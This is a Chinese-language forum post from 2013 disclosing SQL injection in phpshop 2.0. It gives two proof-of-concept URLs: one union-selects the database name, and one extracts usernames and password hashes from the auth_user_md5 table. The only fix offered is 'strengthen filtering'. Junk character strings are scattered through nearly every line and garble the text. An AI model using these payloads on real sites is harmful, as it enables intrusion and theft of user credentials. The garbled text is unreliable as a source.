标题 : phpshop 2.0 SQL Injection Vulnerability
1 l9 \1 M. J1 j; t. o) M, Z3 r
|) {3 p7 V4 q9 X4 r$ E0 W作者 : By onestree
! w7 }, m0 K# w3 ?9 H) X0 x A下载地址 : http://code.google.com/p/phpshop/downloads/list& Z1 }2 u, d- L$ z# B- ^- g$ a7 ^
测试地址: windows 7 / ubuntu& }* E5 ]6 G" q# W( Y, |
0 G" ~$ `' v8 d0 G* ?
; j+ V; k. _# i2 {
SQLi p0c:
3 Q2 l' W1 `! d- q8 e
% a$ N" r# r8 {# F==================
8 I: Y+ K% m# l7 E% j8 `
) g; e1 F7 Y6 A& lhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11': @2 U& b% P) D# u* D
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --0 d+ t! b u# }
: ]2 J1 ~3 x3 j2 Y3 Hhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--5 ?% |, a. |# S1 E$ L0 h
. o3 `7 w a- P& x: c7 W$ r修复：
/ G9 K& B& e7 i* S6 p2 L加强过滤
' E7 f6 Q0 W( K+ ^1 h; g
6 r8 Z3 S* z. v2 R
& T8 ?1 ?8 d( ?: A |
发表于 2013-1-18 18:24:10
收藏
支持
反对